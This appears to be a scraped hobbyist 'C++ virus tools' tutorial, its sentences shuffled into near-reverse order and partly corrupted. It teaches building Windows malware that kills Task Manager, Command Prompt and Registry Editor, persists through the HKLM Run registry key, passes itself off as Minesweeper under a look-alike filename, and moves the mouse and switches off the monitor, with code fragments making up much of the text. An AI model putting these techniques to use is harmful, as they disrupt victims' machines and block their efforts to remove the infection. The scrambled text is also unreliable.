

Why? Because I can press Control+Alt+Delete whenever it is open to delete it. Sometimes, the mouse moves erratically, sometimes it opens an empty notepad file- whatever happens, it's ineffective. It reads "Bad command and file name", and the line under that reads "You are doomed". When I start my computer up, a black box appears. unfortunate, although this event has given me a good chance to see how well this program operates. It seems that I've compiled it on a computer, and now that computer is infected.
#HOW TO CODE A VIRUS WINDOWS#
(attached is a compiled version + source of the code above, it has the same icon as the windows XP "Mine Sweeper". i also made the virus do random things, so every time you restart your computer you get a new effect Quick decription: i created a thread that looks for Task Manager, CMD, and Regedit. PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0) SetWindowText( Regedit, "You Suck Balls Superman") PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0) SetWindowText( CMD, "You Suck Balls Superman") SetWindowText( TaskMgr, "You Suck Balls Superman") Regedit = FindWindow(NULL,"Registry Editor") ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE) ĬMD = FindWindow(NULL, "Command Prompt") ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE) ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE) RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system)) RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ) GetSystemDirectory(system,sizeof(system)) GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)) Void Beeper(), OpenStuff(), Hibernation(), CrazyMouse() here is a simple virus i made using the functions from this tutorial and my other past tutorial.Ĭhar MineSweeper="winmine.exe" Ĭhar Website="http:\\void SetUp() That would make X a random number 0 - 800, and Y a random number 0 - 600. you just have to make 2 random variables (x, y) and then tell the mouse to go to them. That code will turn the monitor off, wait 5 seconds, then turn it back on. SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1) SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2) This code i just recently learned from useing the most powerful tool on earth, GOOGLE, you can use it to turn off the monitor (not the computer) or turn it back on. you can also use other things like "char Website = "http:\\that will open up google in your browser. ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE) you can execute almost anything will this function using this code

ShellExecute() is a function that will execute other programs ( Shell Execute). PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0) įirst it will try to find task manager, then if its found it sends it a message to close the program. So now all you have to do is tell it to do something to the window. TaskMgr = FindWindow(NULL,"Windows Task Manager") to find the task manager window or other windows all you have to do is use the "FindWindow()" function. Now this is really easy and not hard to understand. a Thread will make a create a seperate line of comands apart from the others.ĬreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL) Ī Thread will not keep the program running, so after you make your thread you need to make sure that the program will still run.ĭestroying Task Manager and other Windows think of it like this, a normal program runs line by line, or command by command. Now im not to good at this, but Threads are VERY useful. always split stuff up into voids or other stuff. Names dont mater, but what you should do is the take a name of a program and add or change a letter (in the examples i use "winminer.exe", instead of "winmine.exe").Īlso, try to keep your code clean, the "int main()" should be the smallest part of your program. If you ever got infected you would want to beable to find the virus. *Block and Destroy Task Manager and other windowsĪlways remember that these virus piss people off, there for please dont name them anything like "svchost" or somthing that the computer HAS to have to run. *Create a thread that runs WHILE your other code runs
#HOW TO CODE A VIRUS HOW TO#
*Understand that this is for people who know how to make basic virus, if u want to learn to MAKE a virus check out Smith's C++ Virus Writing Guide. *Please read my earily tutorial ( C++ Virus Tools)

Welcome to my second "C++ virus tools" tutorial.
